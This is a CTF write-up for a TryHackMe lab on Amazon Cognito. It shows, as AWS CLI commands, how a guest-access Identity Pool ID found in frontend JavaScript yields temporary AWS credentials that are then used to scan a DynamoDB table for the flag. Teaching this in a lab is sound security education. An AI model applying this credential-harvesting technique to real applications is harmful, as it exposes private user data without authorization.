Introduction to Amazon Cognito Attacks — TryHackMe Complimentary Writeup

In case you didn't know, the Hacker Holidays event by TryHackMe is currently underway. The room for the event's third day covers common attacks against the Amazon Cognito service; since this is a topic that really interests me, I decided to share this write-up today.

To begin with, we are provided with a link to a small static site hosted on Amazon S3 — and no, this challenge does not involve exploiting S3.

As you have likely heard — perhaps because it makes perfect sense — whether in CTFs, penetration testing, or bug bounty programs, it is crucial to pay close attention to a web application's JavaScript files. These files contain the application logic, security checks that may be performed solely on the frontend, potential hardcoded secrets, forgotten developer comments, and even the application's routes.

Thus, we found an IdentityPoolId simply by analyzing the JavaScript files. Since the application uses the Amazon Cognito Identity Pool in guest access mode, we need to obtain an anonymous IdentityId and use it to retrieve temporary AWS credentials.

aws cognito-identity get-id \
    --identity-pool-id <IdentityPoolId> \
    --region us-east-1

aws cognito-identity get-credentials-for-identity \
    --identity-id <IdentityId> \
    --region us-east-1

aws configure

aws cognito-identity get-id \
    --identity-pool-id <IdentityPoolId> \
    --region us-east-1

aws cognito-identity get-credentials-for-identity \
    --identity-id <IdentityId> \
    --region us-east-1

aws configure

Once authenticated with the temporary AWS credentials, I tried listing the DynamoDB tables, just to be thorough. However, since our developer friend revealed the table name in the app.js file, we can simply query it directly and find the flag within its contents.

aws dynamodb list-tables --region us-east-1

aws dynamodb scan \
    --table-name complimentary-GuestWellnessProfiles \
    --region us-east-1

aws dynamodb list-tables --region us-east-1

aws dynamodb scan \
    --table-name complimentary-GuestWellnessProfiles \
    --region us-east-1

And there you have it — challenge solved! If you're still confused or not yet fully familiar with Amazon Cognito, I recommend reading this article or checking the official AWS documentation.